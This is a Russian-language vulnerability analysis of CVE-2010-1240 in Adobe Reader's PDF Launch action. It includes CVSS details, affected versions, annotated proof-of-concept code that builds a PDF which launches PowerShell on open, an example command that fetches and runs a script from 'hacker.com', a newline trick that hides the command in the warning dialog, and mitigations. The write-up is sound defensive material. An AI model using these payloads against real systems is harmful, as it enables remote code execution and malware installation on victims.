Уязвимость BDU:2023-01768 (CVE-2010-1240) Adobe Reader
Уязвимость BDU:2023-01768 (CVE-2010-1240) представляет собой критическую ошибку в механизме обработки Launch-действий (действий запуска) в Adobe Reader и Adobe Acrobat. Она связана с недостаточной нейтрализацией специальных элементов, используемых в командах операционной системы, при обработке специально сконструированного PDF-документа. Это позволяет удаленному злоумышленнику, убедившему жертву открыть такой файл, выполнить произвольный код на атакуемом компьютере в контексте текущего пользователя.
Анализ уязвимости
Уровень опасности: 9.3 (Критический)
Вектор атаки: AV:N/AC:M/Au:N/C:C/I:C/A:C
-
AV:N (Attack Vector: Network) - Сетевой.
-
AC:M (Attack Complexity: Medium) - Средняя сложность атаки.
-
Au:N (Authentication: None) - Аутентификация не требуется: Для эксплуатации уязвимости не требуется аутентификация.
-
C:C (Confidentiality Impact: Complete) - Полное нарушение конфиденциальности.
-
I:C (Integrity Impact: Complete) - Полное нарушение целостности.
-
A:C (Availability Impact: Complete) - Полное нарушение доступности.
Условия эксплуатации
Для успешной атаки злоумышленнику необходимо выполнить три ключевых условия:
-
Доставка вредоносного PDF-файла: Жертва должна открыть специально созданный PDF-документ. Это обычно достигается через фишинг-письмо с вложением, загрузку файла с компрометированного или злонамеренного веб-сайта.
-
Уязвимая версия ПО: Атака работает только против уязвимых версий Adobe Reader или Adobe Acrobat (до 9.3.3 и 8.2.3 включительно). Современные, обновленные версии не подвержены данной уязвимости.
-
Обход предупреждения системы безопасности: В уязвимых версиях при открытии файла появляется диалоговое окно с предупреждением о запуске внешнего приложения. Успех атаки сильно зависит от способности злоумышленника замаскировать вредоносную команду и социально-инженерными методами убедить пользователя нажать "Разрешить" или "Открыть".
Уязвимые версии ПО:
- Adobe Reader до 9.3.3 включительно
- Adobe Reader до 8.2.3 включительно
- Adobe Acrobat до 8.2.3 включительно
- Adobe Acrobat до 9.3.3 включительно
Технический анализ уязвимости
Уязвимость CVE-2010-1240 кроется в обработке объекта /Launch внутри PDF-документа. Спецификация PDF позволяет определять действия, которые выполняются при определенных событиях (например, при открытии документа - OpenAction). Действие Launch предназначено для запуска внешнего приложения или открытия документа с помощью внешней программы.
Проблема в уязвимых версиях Adobe Reader заключалась в излишнем доверии к содержимому этого действия. Читатель не проводил достаточной валидации и санитизации параметров командной строки, указываемых в объекте, что позволяло напрямую передать команду операционной системе на выполнение. Механизм безопасности, показывающий предупреждение, мог быть обойден с помощью методов социальной инженерии.
Анализ кода эксплойта
Рассмотрим код эксплойта для понимания работы вектора атаки с использованием этой уязвимости. Этот код не является настоящим вредоносным эксплойтом из диких условий, а представляет собой Proof-of-Concept (PoC) инструмент для демонстрации и исследования уязвимости.
1. Инициализация и полезная нагрузка:
Класс SimplePDFGenerator инициализируется с командой PowerShell, которая будет исполнена на целевой системе. По умолчанию это безобидная команда для демонстрации.
def __init__(self, command: str = "Write-Host 'CVE-2010-1240 Demonstration ...'; Read-Host 'Press Enter to exit'"):
self.command = command
Злоумышленник может заменить эту команду на любую другую, например, для загрузки и выполнения вредоносного кода с удаленного сервера: -c "powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://hacker.com/bad.ps1')".
2. Создание структуры PDF:
Метод generate_pdf() создает минимально валидный PDF-файл, содержащий исключительно необходимые для эксплуатации компоненты.
-
Заголовок PDF:
%PDF-1.4\nуказывает на версию формата, совместимую с уязвимыми версиями Adobe Reader. -
Объект Каталога (Catalog): Это корневой объект PDF-документа. Ключевым моментом является ссылка
OpenAction 4 0 R, которая указывает, что действие с ID 4 должно быть выполнено сразу при открытии документа.catalog = b"1 0 obj\n<</Type/Catalog/Pages 2 0 R/OpenAction 4 0 R>>\nendobj\n"
-
Объект Запуска (Launch Action): Это ядро эксплойта. Объект с ID 4 определяет действие типа
Launch(S/Launch). Внутри него определяется параметрWin, который содержит инструкции для Windows-систем: запустить исполняемый файлpowershell.exeс параметром-Command, передав ему ту самую строку, которую указал злоумышленник.launch_action = b"4 0 obj\n<</S/Launch/Type/Action/Win<</F(powershell.exe)/P(-Command \"" + self.command.encode() + b"\")>>>>\nendobj\n"
Именно эта часть кода и эксплуатирует уязвимость CVE-2010-1240. Уязвимый код Adobe Reader, встречая такой объект, без достаточных проверок запускает команду
powershell.exe -Command <вредоносная_команда>.
3. Социальная инженерия в эксплойте:
В описании инструмента упоминается техника маскировки. Злоумышленник может использовать символы переноса строк \n в команде, чтобы "отодвинуть" настоящую вредоносную команду далеко за пределы видимой части диалогового окна Adobe Reader. В окне пользователь увидит только безобидный первый текст, например, "Press Open Button", и нажмет "Открыть", не подозревая, что ниже скрывается команда на скачивание трояна.
# Пример скрытой команды в генераторе: pdf_generator.py -o poc.pdf -c "Write-Host \"'CVE-2010-1240 PoC'; pause\"\n\n\n\n\n\n\n# Press Open Button"
Что может получить злоумышленник?
Успешная эксплуатация данной уязвимости приводит к выполнению произвольного кода на компьютере жертвы с правами текущего пользователя. Это открывает злоумышленнику путь к:
-
Установке вредоносного ПО.
-
Краже конфиденциальных данных.
-
Компрометации учетных данных.
-
Боковому перемещению.
Способы защиты
Поскольку уязвимость известна с 2010 года, первичный и самый эффективный метод защиты — обновление ПО. Все поддерживаемые версии Adobe Acrobat и Reader уже много лет содержат патч.
1. Патчинг и управление программами:
-
Убедитесь, что во всех системах установлены актуальные версии Adobe Acrobat/Reader. Если использование этих продуктов не является критичным, рассмотрите возможность их полного удаления.
-
Используйте альтернативные просмотрщики PDF для открытия файлов из ненадежных источников (например, Sumatra PDF, и др.). Важно отметить, что данная уязвимость специфична для продуктов Adobe.
2. Принцип наименьших привилегий:
-
Настройте политики так, чтобы пользователи работали со стандартными пользовательскими правами, а не с правами администратора. Это значительно ограничит потенциальный ущерб от успешной эксплуатации уязвимости, так как злоумышленник не сможет установить ПО на уровне системы или получить доступ к данным других пользователей.
3. Сегментация сети и ограничение исходящего трафика:
-
Реализуйте сетевую сегментацию. Это ограничит возможность злоумышленника перемещаться по сети после компрометации одной рабочей станции.
-
Настройте корпоративные межсетевые экраны на запрет исходящих соединений с рабочих станций на недоверенные порты и адреса. Это может помешать этапу загрузки полезной нагрузки и "отзвона" злоумышленнику.
4. Обучение пользователей:
-
Регулярно проводите тренировки по киберграмотности. Объясните сотрудникам опасность открытия вложений из непроверенных писем и то, как выглядят стандартные предупреждения системы безопасности. Научите их никогда не нажимать "Разрешить" в подозрительных диалоговых окнах.